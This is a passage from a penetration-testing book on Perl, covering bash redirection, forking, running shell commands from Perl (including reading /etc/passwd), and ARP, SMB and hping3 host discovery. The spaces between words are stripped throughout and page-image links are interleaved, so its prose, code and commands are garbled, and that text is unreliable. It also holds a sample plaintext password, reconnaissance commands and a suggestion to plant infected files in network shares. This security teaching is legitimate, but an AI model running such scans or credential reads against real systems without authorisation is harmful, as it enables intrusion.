<imgsrc=”../images/avatar.png”/>
<imgsrc=””/>
<imgwidth=500src=”../images/creditcard.png”/>
<imgsrc=“http://somesite.sitesomesite.site/images/argv0.png”/>
<imgwidth=“500”src=’../images/ilovepla.png’/>
<imgsrc=’../images/inbox.png’height=250/>
[trevelyn@shell~/pentestwithperl/dev]$
Here,weusedthe1>shelloperatortoredirectthetextthatwouldnormallygoto/dev/stdout(ourscreen)intothefileoutput.txt.Then,weusedcattodumpthecontentsofthenewlogfiletothescreen.
Noticehowwedidn’tfirstcreatethefile.Thefileiscreatedwiththe1>operator,justasitdoeswhenspecifiedinPerl’sopen()functionasopenFLE,“>”,“output.txt”.Onethingtonoteisthatwecanactuallyusejust>asashortcutfor1>.Thenumber1justshowsthatwecanspecifydifferentandevenmultiplestreams.Sofar,bashandPerlarestartingtolookverysimilar!IfwealreadyhaveafileandwanttoappendmoredatatoitfromimgGrab,wecansimplyusethe1>>redirectoperator,justaswewouldwhenspecifyingwhatwewanttotheopenfunctionwithafileandappendtoitusingPerl.
InputredirectionNowthatweknowhowtooutputthefiles,let’staketheinputfromfiles.Inourexample,wewillbereadingafileintothecatapplicationtodisplayitscontents.Todothis,weusethebashinputredirectoperator,<,whichwilltreateachlineoftheinputfileasifitwerecomingfromSTDINorthekeyboard,aswedointhefollowingexample:
trevelyn@shell:~/ch2$cat<database_notes.txt
#thissystemwassetuptoprovidedatabaseconnectivitytohost.pos.local
#youcanloginusingthepassword:Fy^7*555tPW_r
#usingtheusername:admin
#anyquestions,contactGomez@[email protected]
#~Penelope
trevelyn@shell:~/ch2$
Thecommandtypedinthisexampleusestheinputredirectoperator<toreadfromthefiledatabase_notes.txtintothecatprogram.Wemightfindourselvesnotusingthisoperatorasmuchastheoutputoperators,butitisstillusefultoknowwhenbackedintoacornerofalimitedcompromisedsystem.
![Page 64: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/64.jpg)
Anotherinputoperatoristhehere-documentsoperator,<<.ThisoperatorbehavesexactlyasitdoesinPerl.Infact,thePerlversionofthisoperatorisbasedontheUnixversion.First,forthosewhohavenotusedthisoperatorbefore,let’stakealookatthefollowingexamplebeforeexplainingitsfunction:#!/usr/bin/perl-w
usestrict;
my$multiLine=<<“ML”;#noticetabs!
ThisisamultilinestringinPerl
usingthesimpleHereDocumentoperator.
Thanksforreading!
Goodbye!
ML
print$multiLine;
ThisPerlexamplewillprintthefollowingoutput:
trevelyn@shell:~/ch2$perlheredoc.pl
ThisisamultilinestringinPerl
usingthesimpleHereDocumentoperator.
Thanksforreading!
Goodbye!
trevelyn@shell:~/ch2$
It’simportanttonotethatmakingamultilinestringinPerlusingthisoperatorpreservesallwhitespaceandnewlinecharacters.ThisoperatortellsthePerlinterpretertoreadeachlineafterthedefiningline:my$multiLine=<<“ML”;
Eachlineisinterpretedintothestringvariable$multiLineuntilitencountersalinethatisjustML,asdefinedinthedefinitionline.Thebashversionworksinjustthesameway.Hereisanexampleofthebashhere-documentinputoperator:
trevelyn@shell:~/ch2$cat<<EOF;
>helloworld!
>ThisisanexampleoftheHereDocumentUNIXinputoperator.
>Thanksforreading!
>~someguy
>EOF
helloworld!
ThisisanexampleoftheHereDocumentUNIXinputoperator.
Thanksforreading!
~someguy
trevelyn@shell:~/ch2$
Here,weseethatthebashshellwaitedforalinethatonlycontainedthestringEOF,andprintedeachlinetypebeforeitusingthecatcommand.
OutputtoaninputstreamLet’sturnourattentiontothebashshell’spipeoperator.Thepipeoperatorisextremelyimportantfordatahandlingviathecommandline,aswecantaketheoutputfromonecommandandsenditdirectlytotheinputofanother.Forinstance,theteecommandallowsustowritetheoutputfromacommandtoafilethatwespecifyandtoourscreen.
![Page 65: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/65.jpg)
Nowthatweknowthatourscreenisjustafile,wecanthinkofteeaswritingtotwofiles,inourcase,inthefollowingexampleoutput.txtand/dev/stdout.Let’strytopipetheoutputfromourimgGrabprogramtotheteecommand:
[trevelyn@shell~/pentestwithperl/dev]$imgGrab
http://somesite.sitesomesite.site/temp/site.html|teeoutput.txt
<imgsrc=”../images/avatar.png”/>
<imgsrc=””/>
<imgwidth=500src=”../images/creditcard.png”/>
<imgsrc=“http://somesite.sitesomesite.site/images/argv0.png”/>
<imgwidth=“500”src=’../images/ilovepla.png’/>
<imgsrc=’../images/inbox.png’height=250/>
[trevelyn@shell~/pentestwithperl/dev]$catoutput.txt
<imgsrc=”../images/avatar.png”/>
<imgsrc=””/>
<imgwidth=500src=”../images/creditcard.png”/>
<imgsrc=“http://somesite.sitesomesite.site/images/argv0.png”/>
<imgwidth=“500”src=’../images/ilovepla.png’/>
<imgsrc=’../images/inbox.png’height=250/>
[trevelyn@shell~/pentestwithperl/dev]$
Inthesecommands,weseeanewredirectorpipeoperator,|.Thisoperatorallowsustopipeourstreamofoutputofonecommand,whichwouldnormallygoto/dev/stdout,totheinput(STDIN),whichwouldnormallycomefrom/dev/stdin(thefiledescriptorofourkeyboardinourcase)ofanother.Thisoperatordoesnotwritetothefilesystemlikethe>operatordoes.OncewerunimgGrabandpasstheoutputtoteeusingthe|pipe,teethenwritesittoboth/dev/stdoutandoutput.txt.ThisisveryusefulwhendebuggingourPerlcodeforpenetrationtestingbecauseofthewiderangeofvariablesthatcomefrommakingblindcallstoservers.
ErrorhandlingwiththeshellAswelearned,the1>redirectionoperatorredirectswhatusuallywouldgoto/dev/stdouttoanylocationwespecify.Asresponsibleprogrammers,wehavetheoptionto,andtechnicallyshould,writeerrorstoSTDERR,orinourLinuxcase,/dev/stderr.Somefunctionssuchasdie()dothisforusalready.Wedon’thavetoopenthosefiledescriptors,astheyarealreadyconstantsinthePerlprogramminglanguage;wecanjustprintthemaswewouldinanyfile,likethis:#!/usr/bin/perl-w
usestrict;
printSTDERR“Thisisanerror!\n”;
printSTDOUT“Thisisnoerror!\n”;
exit;
AshortcuttowritingtoSTDERRusingbashistosimplychange1in1>to2as2>.IfwewanttoprinttobothSTDERRandSTDOUT,wecanuseanampersand&>toredirectourprogram’soutput.Theseredirectoperatorsworkwithallcommand-linedataandnotjustourPerlprograms.Let’stesttheseoutputoperatorsbycallingourprogramafewtimes,redirectingtheoutputfrom2>,1>,andeven&>:
[trevelyn@shell~/pentestwithperl/dev]$perlstd.pl
![Page 66: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/66.jpg)
Thisisanerror!
Thisisnoerror!
[trevelyn@shell~/pentestwithperl/dev]$perlstd.pl2>/dev/null
Thisisnoerror!
[trevelyn@shell~/pentestwithperl/dev]$perlstd.pl1>/dev/null
Thisisanerror!
[trevelyn@shell~/pentestwithperl/dev]$perlstd.pl&>/dev/null
[trevelyn@shell~/pentestwithperl/dev]$
Whenanexternalprogramdoeserrorproperlyto/dev/stderr,wewillseetheerror.Thespecialfiledescriptor,/dev/null,isthecommandline’sblackhole.Anythingthatweredirecttoitvanishesforever.ThisissimilartoMicrosoft’sWindowsPowerShell’s$nullautomaticvariable.Thus,anythingthatisnotanerrorwhenusingthefollowingcommandfromtheprecedingexampleisdisplayedonthescreenorSTDOUT:
[trevelyn@shell~/pentestwithperl/dev]$perlstd.pl2>/dev/null
AnyerrorthatwouldnormallygotoSTDERRor2>vanishesinto/dev/null.
Let’slookatacurlexample:
[trevelyn@shell~/pentestwithperl/dev]$curlhttp://.com/index?sqlid=1337>
output.txt
curl:(6)Couldn’tresolvehost‘.com’
[trevelyn@shell~/pentestwithperl/dev]$catoutput.txt
[trevelyn@shell~/pentestwithperl/dev]$
Here,weseethatnooutputwasredirectedtothefileoutput.txt,obviouslybecauseofanerror.However,whywasn’ttheerroroutputredirectedtooutput.txt?Well,/dev/stderrisdenotedas2>,andwecaneasilywriteerrorstoourlogaswellbyspecifyingit:
[trevelyn@shell~/pentestwithperl/dev]$curlhttp://.com/index?sqlid=1337
2>output.txt
[trevelyn@shell~/pentestwithperl/dev]$catoutput.txt
curl:(6)Couldn’tresolvehost‘.com’
Aspreviouslymentioned,wecanactuallyspecifythatwewantbotherrorsandstandardtexttogotoalogfilewith&>orappendwith&>>.ThisisusefulwhenwearecallingadependencyapplicationfromtheshellviaPerlandnotwritingourownmethods.Someprogrammerswilljustdumpeverythingto/dev/stdoutoreven/dev/stderr.SowemustfirsttestthedependencyapplicationbeforeweimplementanyredirectionfromourPerlcode.
Anotheroptionthatwehaveforredirectionisthatwecanusetheredirectionoperatorstogether.Forinstance,ifwewanttheerrorsthatwouldnormallygotoSTDERRtogointothefileerror.txt,andallotheroutputtogotooutput.txt,wecanusethefollowingcommand:
trevelyn@shell:~/ch2$(wgethttp://.com/?bluebox=mf_synthesis;ls-l)
2>error.txt1>output.txt
trevelyn@shell:~/ch2$caterror.txt
—2014-11-2118:03:55—http://.com/?bluebox=mf_synthesis
![Page 67: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/67.jpg)
Resolving.com(.com)…failed:Nameorservicenotknown.
wget:unabletoresolvehostaddress`.com’
trevelyn@shell:~/ch2$catoutput.txt
total8
-rw-r—r—1trevelyntrevelyn162Nov2118:03error.txt
-rw-r—r—1trevelyntrevelyn0Nov2118:03output.txt
-rwxr-xr-x1trevelyntrevelyn23Nov2016:43paramexpansion.sh
trevelyn@shell:~/ch2$
Inthisexample,weseeinonesinglelinetheoutputcausedbytheerroneousinputwgetgotoerror.txt,andthenon-erroroutputgotooutput.txt.
![Page 68: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/68.jpg)
BasicbashprogrammingWhilemostsystemsthatwemightencounterwillhave/usrand/binmountedormergedwiththerootdirectory,wemightstillfindourselvesinasituationwheresimpleprogramssuchascatorlsseemtobemissing,oronanunmountedfilesystemforsecuritypurposesorsimplybymisconfiguration.Asstatedbefore,bashhasitsownprogramminglogic,andthislogicincludesloops.
Let’sconsideranexamplescenariowherewehaveencounteredsuchasystem.WehavespawnedashellusingaremoteexploitfromtheMetasploitframeworkonanoldUnixsystem,whichwecannotseemtofindusingthesimplecatprogramtoreadfilesforourpenetrationtestreport.Well,wecanusethecommandswhile,read,do,echo,anddonetowriteasimplescript,whichwilldisplaytheoutputofafilethatcanthenberedirectedtoanotherfile.Let’stakealookatthisinactionwiththefollowingcodelisting:trevelyn@shell:~/ch2$whilereadn;doecho$n;done<database_notes.txt
#thissystemwassetuptoprovidedatabaseconnectivitytohost.pos.local
#youcanloginusingthepassword:Fy^7*555tPW_r
#usingtheusername:admin
#anyquestions,contactGomez@[email protected]
#~Penelope
trevelyn@shell:~/ch2$
Inthisexample,wehaveabashone-liner,whichreadstheinputusingawhileloopanddisplaystoSTDOUTfromafilelinebyline,usingthe<inputredirectoperator.Now,forthebashalternativetols,wecansimplyuseecho*,orwecanwriteaforloopasshowninthefollowingexample:trevelyn@shell:~/ch2$fornin*;doecho$n;done
database_notes.txt
error.txt
output.txt
paramexpansion.sh
trevelyn@shell:~/ch2$
Thisforloopshowsoffthesyntaxanddisplaysallfilesthatareinourcurrentworkingdirectory.Theforloopgivesusmorecontrolovertheoutputaswecanmanipulateorhandthedataoffaswewishinthedostatement.
ForkingprocessesintheshellOurPerlprogramscansendworkersoffintothebackgroundforusandcontinuetorunusingfork().Wewillutilizetheforkingmechanisminbashtodothis.Ifweappendanampersandtoacommand,itwillgooffintothebackgroundandrun.ThisisveryusefulwhenwewanttomakemultipleHTTP,ARP,orICMPrequestsasynchronouslyinabashscript.Let’stryitasasimpleexample.SaywewanttorunanHTTPcallinthebackground,weknowthatitwilltakesometime,andwewanttocallanotherfunction,suchasprint,inthemeantime.WecanwriteourPerlprogramtousecurl,appendtheampersand&totheendofthecommand,andourPerlprogramwillcontinuetothenextline.Forinstance,ifweknowthatcallingourservertakesaround200msonaverage,wewillcallitandonthenextlineprinttexttoourscreenbeforeitreturnswithresults:#!/usr/bin/perl-w
![Page 69: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/69.jpg)
system(“curl-shttp://somesite.site/temp/site.html&”);
print“ThisprintfunctioncameAFTERthecurlrequest!\n”;
Whenrun,ityieldsthefollowingresult:[trevelyn@shell~/pentestwithperl/dev]$perlperlfork.pl
ThisprintfunctioncameAFTERthecurlrequest!
[trevelyn@shell~/pentestwithperl/dev]$<!DOCTYPEhtml>
<head>
<style>
html{
background-image:url(“../images/bg.jpg”);
}
</style>
</head>
<body>
…
Wecanseethattheprintfunctionrunsafterthesystem()function,yettheorderoftheresultsshowsdifferently.Thesystem()functionrunsfirstandforkedcurlintothebackground.Theprint()functionrunssecond,andthenthePerlprogramexits,returningustotheshell,beforetheoutputfromtheforkedcurlcommandreturnsdatatoourscreen.Thisisextremelyusefulwhendealingwith,sayscanninganenvironmentforlivehostswithoutworryingaboutIDSsystems,asitspeedsuptheprocess,orwhenusingadependencyapplicationthatsniffsHTTPor802.11traffic,orwritingtheresultstoalogfilethatourPerlprogramreadsfrom.
![Page 70: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/70.jpg)
KillingrunawayforkedprocessesTheLinuxutilitypshastheabilitytoshowusourownprocessesthatwehavestarted.Tostopaforkedprocess,wesimplyneedtheProcessID,orPID,andusethatPIDasanargumenttoeitherthePerlkillortheLinuxkillfunctionstosenddifferentkillsignalstotheprocessestostopthem.Unfortunately,there’snodefinitesolidwaytofindthePIDofashelledcommandthatisforkedwith&usingPerlitself.Wecan,however,searchthroughourownlistedapplicationsreturnedfromtheLinuxpsutilityandparseoutthePIDwewant,andcallthePerlkillfunctionwith.ThePerlkillfunctionwillsendasignaltotheapplication,inwhichwecanspecifytokillorstopit.Wecancallpsfromtheshellwiththexargumenttolistallofourprocesses,eveniftheyarenottiedtoaterminal:
[trevelyn@shell~/pentestwithperl/dev]$psx
PIDTTSTATTIMECOMMAND
570700Ss0:00.09-bash(bash)
579520S+0:00.01pinggoogle.com
Inthecommandoutput,weseethatwearecurrentlyrunninganICMPpinglooptogoogle.comfromoneofourshells.ThisfirstcolumnisthePID,asstatedfromthetitlerow.Now,ifwerunaPerlforeachonthisloop,checkingfortheregularexpressioninordertopingGoogle’ssite,wecangrabthePIDwithabackreferenceandrunthePerlkillfunctionwithit:#!/usr/bin/perl-w
usestrict;
foreach(`psx`){
if(/([0-9]+).*ping.*google.com/){
kill‘SIGTERM’,$1;
}
}
Andthat’sit,inallofitssimplisticbeauty.Noticethatthereisaspacebetweentheclosingparenthesisandtheperiodmetacharactersinourregularexpression.Wehaveomittedthe$_=~mportionoftheifstatementasasimpleshortcut.ThekillfunctionsendsaSIGTERMterminationsignaltotheapplication,whichtellsittocleanupandshutdowngracefully.Therearemanydifferentsignalsthatwecansendtoaprocess,andissuingthefollowingcommand:
kill–l
Thiscommandwilllistthemandtheirusage.Theoutputfromtheterminalrunningpingfromtheprecedingexamplelookslikethis:
64bytesfrom64.233.171.138:icmp_seq=194ttl=48time=18.300ms
64bytesfrom64.233.171.138:icmp_seq=195ttl=48time=18.331ms
64bytesfrom64.233.171.138:icmp_seq=196ttl=48time=18.345ms
Terminated:15
[trevelyn@shell~/pentestwithperl/dev]$
Aswecansee,thepingprocesswaskilledusingthePerlkillfunction.Let’stakealook
![Page 71: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/71.jpg)
athowwecanrunbashcommandsusingPerlandthedifferentwaysthatwecanhandlethecommands’output.
![Page 72: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/72.jpg)
BashcommandexecutionfromPerlPerlhasafewwaystoexecutecommandsfromthecommand-lineinterface,andwewillbelookingattwoofthem:thesystem()functionandthebackticks“operator.Oneofthemajordifferencesbetweenthetwoarewhetherornotwewanttohandlethecommands’output.Ifnot,wecanusethesystem()function,whichwillrunacommandfromtheshellandletthePerlinterpretercontinue.Nothingelseneedstobepassedtosystem()exceptforthecommand,andwecantypeitoutjustaswewouldfromthecommandline.Let’susecat/etc/passwd2>/dev/nulltodisplaytheLinuxauthenticationuserentriesfromoursystemforthefollowingexample:#!/usr/bin/perl-w
usestrict;
system(“cat/etc/passwd2>/dev/null”);
exit;
ThesmallPerlscriptherewilldisplaythecontentsofthefile,/etc/passwd,inlieuofactuallyopeningthefilewiththePerlopen()function.ThiswillonlydisplaythefiletoSTDOUTjustascatnormallydoesbydefault.Ifwewanttokeepthecontentsof/etc/passwd,saytousearegularexpressiontofilteroutalllinesthatarenottheroot’sentry,wecanslurpthecontentsintoanarrayorstringvariableusingthebackticks,aswedointhefollowingcode:#!/usr/bin/perl-w
usestrict;
my@passwds=`cat/etc/passwd`;
foreach(@passwds){
printif(m/^root:/);
}
exit;
Thistinyscriptdoesjustthat.Thebackticksexecutethecommand.Iftheoutputfromthecommand,inourcasecat,isbrokenupwithnewlines,eachlinebecomesanarrayelementin@passwds.
![Page 73: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/73.jpg)
SummaryLinuxispowerfulandcanthriveinmanyenvironmentsduetoitsflexibleandhighlycustomizablenature.ThismeansthatnotallLinuxorUnix-likesystemswillbethesame.Printers,routers,switches,watches,andmobiledevices,forexample,willbehavedifferentlyandhavedifferentlimitationsthanthoseofworkstations,servers,andlabequipment.KnowingourwayaroundtheOSviathebasicshellprovestobeavaluableskilltohavewhenpresentedwiththesesystems.Anotherthingtonoteisthatnotallsystemswillhavebashinstalledeither.Therearemanydifferenttypesofshells,mostofwhichareverysimilar,andalloftheconceptspresentedarevalidacrossmostshells.ThischapterisjustasmallintroductiontoLinuxandbashtogetusoffthegroundandrunningfortherestofthisbook.ForafullcourseinLinuxOSandbash,visitGNU’sNotUnix(GNU)websiteathttp://www.gnu.org/andheaddowntotheDocumentationnavigationlink.
Inthenextchapter,wewillbewritingourfirstnetworkintelligencegatheringtoolsusingPerl.Wewillalsobecoveringthedifferencesbetweenfootprintingandfingerprinting,andhowtheseprocessesrelatetoourpenetration-testingproceduresaccordingtothePTES.
![Page 74: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/74.jpg)
Chapter3.IEEE802.3WiredNetworkMappingwithPerlInthischapter,wewillbewritingourfirstfootprintingandfingerprintingintelligencediscoverytoolsinPerl.Asmentionedinthepreviouschapters,afewtoolscomewithdefaultinstallationsofLinux,andalotofothersareeasilyaccessibleviathedistribution’sprecompiledpackagemanagementrepositories.WewillanalyzethetrafficwithWiresharkandmimicthebehaviorofafewofthesetoolsusingonlyPerlandPerlmodulesfromCPAN.Ifyouhaven’tusedCPANmodulesbefore,it’sbesttolookbackatChapter1,PerlProgramming,tolearnhowtheyareinstalled.
Inthischapter,wewillbecoveringthefollowingtopics:
DifferentfootprintingtechniquesDifferentscanningtechniquesforintelligencegatheringCommontoolsusedtoscandifferentprotocolsWritingourowntoolsforbannergrabbing,bruteforceattacking,portscanning,andlivehostdiscovery
![Page 75: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/75.jpg)
FootprintingFootprintingistheactofdiscoveringdataaboutatargetfromanexternalpointofview.SomeofthetasksforthisphaseofthepenetrationtestarefindingallIPaddressesandnameserversownedand/orusedbythetarget,checkingthoseIPaddressesforlivehosts,fingerprintingthelivehostsforservices,andsoon.ThisphaseisnottobeconfusedwithInternetfootprinting,whichwewillcoverintheInternetfootprintingsection.
Internalfootprinting,ontheotherhand,istheactofgatheringasmuchinformationaspossibleaboutthetarget’sinternalnetwork,includinginformationsuchashostsandtheirattributes,routes,andmore.Thisphaserequiresus,actingastheattacker,tohavedirectcommunicationwiththeinternalnetworkthatwewillbescanning,similartoanemployeeorclientofthetarget.Thisprocesssharesafewofthesametasksasexternalfootprinting,andusuallybeginswithfindinglivesystemswithinthetarget’snetwork.
![Page 76: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/76.jpg)
InternetfootprintingFingerprintingistheprocessinwhichweactivelyattempttoidentifysoftwareandhardwareinformationaboutaserverusingcollectedinformation.Forinstance,inanHTTPwebserverlog,wecanlogallincomingrequests.Theserequestscanhaveuseragentsofthebrowsersusedbythewebpageusers.Auseragentisaformofidentificationthatisoftenusedbywebdeveloperstoaccommodateforincompatibilitieswhendevelopingwebsoftware.ThisisauniquestringperOSandperwebbrowser.Inthehandsofanattackerwhomighthavetheabilitytomanipulatenetworktraffictohismaliciouscomputer,thisinformationcouldbeusedtoexploitvulnerabilitiesinthewebbrowsersoftware.
![Page 77: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/77.jpg)
CommontoolsforscanningInthefollowingsections,wewilllearnhowtoscanforlivehostsusingdifferenttoolsandprotocols.Someprotocolsaremorelikelytoproducemoreaccurateresultswhenscanningontargetnetworks,andwewillseewhy.
![Page 78: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/78.jpg)
AddressResolutionProtocolscanningtoolsAsbothinternalandexternalfootprintingrequireustoestablishatargetlistbyfindingIPaddressrangesandlivehosts,wewilltakealookatafewnetworkutilitiesthatcanbeusedtofindlivehosts.Ettercap,forinstance,isagoodinternalnetworkmappingandremappingutility,andhasabuilt-inAddressResolutionProtocol(ARP)scanningsolutionthatcanbecalleddirectlyfromthecommandlineasfollows:
root@wnld960:~#ettercap-T-ieth0////-q-p
ettercapNG-0.7.3copyright2001-2004ALoR&NaGA
Listeningoneth0…(Ethernet)
eth0->AA:00:04:00:0A:0410.0.0.15255.255.255.0
PrivilegesdroppedtoUID65534GID65534…
28plugins
39protocoldissectors
53portsmonitored
7587macvendorfingerprint
1698tcpOSfingerprint
2183knownservices
Randomizing255hostsforscanning…
Scanningthewholenetmaskfor255hosts…
*|==================================================>|100.00%
3hostsaddedtothehostslist…
StartingUnifiedsniffing…
TextonlyInterfaceactivated…
Hit‘h’forinlinehelp
L
Hostslist:
1)10.0.0.100:1D:D0:F6:94:B1
2)10.0.0.115C:26:0A:0A:0A:8E
3)10.0.0.1440:F0:2F:45:24:64
4)10.0.0.15AA:00:04:00:0A:04
5)10.0.0.12400:1F:90:58:55:13
WecanseethelivehostsafterthescanbysimplytypingtheletterL.EttercapalsoshowsustheMAC,IP,andnetmaskaddressesofourdevice.ThisscanisveryfastanditworksbysendingARPrequest(ARPoperationcode1)packetstothebroadcastaddressff:ff:ff:ff:ff:ff:ff,requestingareplyfromthetargetwithourspecifiedIP.Then,itwaitsforreplypackets(ARPoperationcode2)fromthehosts.Thisscanisverynoisybutisareliablemethodtofindahost,andwewillseewhylater,whenwecomparetheresultswithTCPandICMPscanning.
![Page 79: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/79.jpg)
ServerMessageBlockinformationtoolsEttercapisagoodexampleofhowtoscanusingadifferentprotocol,ARP.However,wecanalsoqueryforopenednetworksharesusingtheServerMessageBlock(SMB)protocol,whichisanapplicationlayernetworkprotocol,usingthesmbtreeutility.TheSMBprotocolisusedbyMicrosoftWindows-basedsystemsandtheNetBIOSAPItosharefilesoveranetwork.Let’srunthesmbtreeprogramanddoasimplesearchforsystemsthatsharefilesusingtheSMBprotocolonourlocalareanetwork:root@wnld960:~#smbtree-N
WORKGROUP
\FOOBARBAZ
root@wnld960:~#
Intheprecedingsnippet,weseeasimplequerytothelocalmasterbrowserforaWindowsdomain.Wecanalternativelysendthequeriesasbroadcastsratherthanqueryingthelocalmasterwiththe–bargument.
Thepositiveresultfromqueryingusingthismethodisthatitoftenreturnstheactualhostanddomainnames.TheobviousdownfallisthatitonlyreturnshoststhataresharingfilesusingSMB.Findingopenedfilesharesorshareswithweakorreusedpasswordscanoftenopendoorsforthepenetrationtester.Ifdated,theservicecanbeexploitedusingremoteexploitsforinstance.Also,inasocialengineeringattack,apenetrationtestercanplantenticinglynamedinfectedPDFsorbinaryexecutablefiles,forexample,2014EmployeeSalaryMatrix.WewilllearnmoreaboutsocialengineeringinChapter11,SocialEngineeringwithPerl.
![Page 80: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/80.jpg)
InternetControlMessageProtocolversusTransmissionControlProtocolversusARPdiscoveryNow,let’sturnourattentiontoscanninganddiscoverymethodsthatsimplyusethecommonTransmissionControlProtocol(TCP).However,beforewedothis,weshouldconsiderwhyTCPmightbethebestoptionforhostdiscoveryoverotherprotocols.
Acommonlyusedreconnaissancemethodinthepastwastodoapingscan,inwhichtheattackerwoulddeterminetheIPrangeoftheVirtualLocalAreaNetwork(VLAN)onwhichtheywere,andsendanInternetControlMessageProtocol(ICMP)orsimplyapingrequesttoeveryIPaddress.AllIPaddresseswithlivehoststhatrespondedtothepingwerethennotedaslivehosts.Duetothispossibleexposureandthefactthatitwasmostlydesignedfornetworkadministratorstotroubleshootnetworkproblems,itisusuallyrestrictedordisabledinsomepartsonmostmodernnetworks,operatingsystems,andfirewalls.
Agreatutilityforbothinternalandexternalfootprintingishping3.ThistoolcancreateNULLTCPconnections(noflagssetandnosequencenumber)whenICMPrequestsareblockedbyfirewalls.ThehostwillrespondtotheNULLrequestwithanACK-RSTpacket.Thisstandsforacknowledgement-resetandisusedtorespondtotheinitialsenderoftherequest.Let’stakealookatthistransmissioninactionusingthecommand-lineinterfaceversionofWireshark,tshark:
0.00000010.0.0.15->10.0.0.1TCPlpcp>0[<None>]Seq=1Win=512
Len=0
0.00060610.0.0.1->10.0.0.15TCP0>lpcp[RST,ACK]Seq=1Ack=1
Win=0Len=0
Theprecedingcommand-lineoutputfromtsharkshowsustheTCPflagssettoNULLwhenweissueanhping3querytothetarget,10.0.0.1.ThetargetrespondswithanACK-RSTpacket.Theonlydownsidetothismethodisahostwhosefirewalldropsunwantedpacketswithoutresponding.Let’stakealookathowhping3reactstosuchahost:
root@wnld960:~#hping310.0.0.11
HPING10.0.0.11(eth010.0.0.11):NOFLAGSareset,40headers+0data
bytes
–10.0.0.11hpingstatistic–
14packetstransmitted,0packetsreceived,100%packetloss
round-tripmin/avg/max=0.0/0.0/0.0ms
root@wnld960:~#arp-a10.0.0.11
wnlsunblade0.local(10.0.0.11)at5c:26:0a:0a:0a:8e[ether]oneth0
root@wnld960:~#
TheTCPtransactionseemstohavehung,andafterpressingCtrl+Ctohping3,wesawtheoutputstatistics.Then,wesimplycheckedourARPcachetablewitharp–a<HOST>andsawthat10.0.0.11did,infact,existonournetwork.Alternatively,wecouldhavetriedothercommonlyusedportsinthehopeofgettingaresponse,buteventhoseportscanbesettoreactonlyonawhitelistedrangeofIPaddresses.ThisisjustanotherreasonwhyARPis,sofar,thebestmethodtofindhosts.
